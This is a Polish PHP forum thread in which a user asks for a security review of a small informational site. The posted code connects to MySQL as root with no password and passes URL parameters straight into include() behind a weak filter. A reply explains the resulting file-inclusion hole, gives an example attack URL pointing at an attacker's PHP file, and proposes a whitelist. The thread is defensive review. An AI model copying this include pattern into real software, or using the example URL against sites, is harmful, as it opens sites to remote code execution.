[HTML][MySQL][PHP]Zabezpieczenie strony w PHP z bazą MySQL bez formularzy itp. Opcje

[GrumpyDogue]

Witam. Od pewnego czasu nurtuje mnie pewna kwestia. Jak mogę zabezpieczyć swoją stronę? Szukałem wszędzie informacji na ten temat, niestety wszędzie gdzie napisane jest coś o bezpieczeństwie, przykłady dotyczą strony z panelami administracyjnymi, formularzami kontaktowymi itd. Otóż moja strona jest dosyć specyficzna - to zwykła strona informacyjna, która nie zawiera żadnych formularzy itp. Użytkownik praktycznie nigdzie nie podaje wartości żadnej zmiennej. Czytałem sporo poradników na temat bezpieczeństwa i wydaje mi się, że wszystko jest dobrze, jednak bardzo przyda mi się także opinia ekspertów w tej sprawie, gdyż zawsze mogło mi coś umknąć. Byłbym wdzięczny za sprawdzenie czy wszystko jest w porządku w tych linijkach kodu:

[PHP] pobierz, plaintext 
<?php
ob_start();
foreach($_GET as $k=>$v)
    $_GET[$k] = (preg_match("/[0-9a-z_]+/",$v) ? stripslashes(htmlspecialchars(strip_tags($v))): '');
 
error_reporting(0);
$dzial = $_GET['dzial'];
$strona = $_GET['strona'];
 
$connection = mysql_connect('localhost', 'root', '')
or die('Brak polaczenia z serwerem MySQL.');
$db = mysql_select_db('baza', $connection)
or die('Brak polaczenia z baza danych.');
 
mysql_query("SET NAMES utf8");
?>
[PHP] pobierz, plaintext 

Pliki includuję w ten sposób:

[PHP] pobierz, plaintext 
<?php include ("folder/plik.php"); ?>
[PHP] pobierz, plaintext 

W ten sposób wczytuję treść do "głównego" diva (na początku kiedy nie ma żadnych zmiennych w pasku adresu, wczytują się newsy):

[PHP] pobierz, plaintext 
<?php
if(!empty($dzial))
{
    if(is_file($dzial."/".$strona.".html"))
    {
        include ("include/naglowki.php");
        include($dzial."/".$strona.".html");
    }
    else echo "<p>Nie odnaleziono wybranej strony.</p>";
}
else include ("newsy/news.html");
?>
[PHP] pobierz, plaintext 

W pliku naglowki.php są zmienne, które wyglądają w ten sposób:

[PHP] pobierz, plaintext 
<?php
    $naglowek1 = "<div style=\"width: 100%; background-image: url(tlo-ramki.jpg);\"><img src=\"tytul.jpg\" alt=\"img\" style=\"width: X%; height: Xpx;\">";
?>
[PHP] pobierz, plaintext 

Nagłówek jest wyświetlany w PLIKU HTML (czy to jest błąd, że plik jest w html i posiada kod php? I tak jest includowany do index.php, więc ma to jakieś znaczenie?) na samym początku w ten sposób:

[PHP] pobierz, plaintext 
<?php echo $naglowek1; ?>
[PHP] pobierz, plaintext 

Tak wygląda odnośnik w menu*:

[HTML] pobierz, plaintext 
<a href="index.php?dzial=gry/gra1&amp;strona=info">Gra 1</a>
[HTML] pobierz, plaintext 

Tak wygląda moje zapytanie do bazy MySQL wyciągające newsy:

[PHP] pobierz, plaintext 
<?php
    $result = mysql_query("SELECT * FROM newsy LIMIT 3");
 
    if(mysql_num_rows($result) > 0)
    {
        while($r = mysql_fetch_assoc($result))
        {
            echo "<div class='news'>";
            echo "<div class='tytul'>";
            echo "".$r['data'].": <i style=\"color: gold;\">".$r['tytul']."</i>";
            echo "<div class='autor'>Dodał: ".$r['autor']."</div>";
            echo "</div>";
            echo $r['zawartosc'];
            echo "</div>";
        }
    }
?>
[PHP] pobierz, plaintext 

Zapytanie wyciągające z bazy np. linki do najnowszych filmów z kanału YT:

[PHP] pobierz, plaintext 
<?php
    $result = mysql_query("SELECT * FROM filmy ORDER BY ID DESC LIMIT 5")
    or die('Błąd zapytania');
 
    if(mysql_num_rows($result) > 0)
    {
        while($r = mysql_fetch_assoc($result))
        {
            echo "<li><a style=\"margin-top: 5px;\" class=\"menu\" target=\"_blank\" href=\"".$r['link']."\">".$r['tytul']."</a></li>";
        }
    }
?>
[PHP] pobierz, plaintext 

Tak wygląda zawartość kolumny 'zawartosc' w tabeli z newsami w bazie MySQL (czy kod HTML nie jest zagrożeniem kiedy jest pobierany z bazy?):

[HTML] pobierz, plaintext 
<img alt="img" src="sciezka/do/obrazka" style="width: x%; height: Xpx;">
<p>Tresc newsa</p>
[HTML] pobierz, plaintext 

To jest na końcu pliku index.php

[PHP] pobierz, plaintext 
<?php
    mysql_close($connection);
    ob_end_flush();
?>
[PHP] pobierz, plaintext 

* - odnośnik w menu - zastanawia mnie właśnie czy bezpiecznie jest kiedy w zmiennej znajdują się ukośniki: / (zmienna dział przyjmuje wartość z ukośnikiem: dzial=gry/gra1).

Czy zauważyliście w tym kodzie jakieś luki, które mogłyby umożliwić komuś atak? Będę wdzięczny za przeanalizowanie tych fragmentów kodu. Mam obsesję na tym punkcie, tj. chcę mieć pewność, że strona jest bezpieczna. Pozdrawiam!

[sadistic_son]

A dałoby się to jakoś krócej rozwiązać? Bo sprawa wygląda tak, że podstron mam dziesiątki.

Można np. automatycznie zassać do tablicy wszystkie obecne pliki w tym katalogu ale wtedy i tak nie zabezpieczasz się przed tym co opisałeś niżej:

Raz na FTP znalazły się jakieś dziwne pliki - ktoś najwidoczniej je w jakiś sposób wrzucił na serwer.

Alternatyną, ktrótszą w sensie ilości znaków opcją byłoby zamiast SWITCH() wrzucić wszystkie możliwości do tablicy i potem sprawdzać czy wartość wywoływana w $_GET jest w tablicy. Ale efekt będzie ten sam co przy użyciu SWITCH() a i dochodzi Ci wtedy co najmniej jedna pętla. Jeśli chcesz to pokażę Ci jak to zrobić ale dużo pracy tym nie zaoszczędzisz.

Możesz po prostu sprawdzać za pomocą preg_match, czy w stringu są tylko litery.

To i tak nie zabezpieczy. Wystarczy, że ktoś wrzuci mu do katalogu plik bez rozszerzenia (bo kropkę preg_match wyrzuci) a jego skrypt mu doda do pliku .php. Tak więc nie, nie wystarczy.

EDIT: no właśnie do zmiennej 'dzial' przypisuję wartość z ukośnikiem. W niektórych przypadkach do zmiennej 'strona' także. To poważny błąd?

Nie, to nie bląd ale może powodować komplikacje. Np. nie bardzo rozumiem po co to robisz. I tak nazwa pliku/katalogu nie może zawierać ani slash'a ani backslash'a. Więc po ch...?

Ogólnie to polecam metodę ze SWTICH() opisaną przeze mnie wcześniej. Bo wystarczy, że ktoś wpisze taki adres:

Kod

http://twoja-strona.pl/index.php?dzial=www.stronaHakeraZeSzkodliwymKodemPHP.pl/plik

I już twój skrypt po wcześniejszym INCLUDE wykonuje kod bandziora.

Ten post edytował sadistic_son 25.02.2015, 14:57:46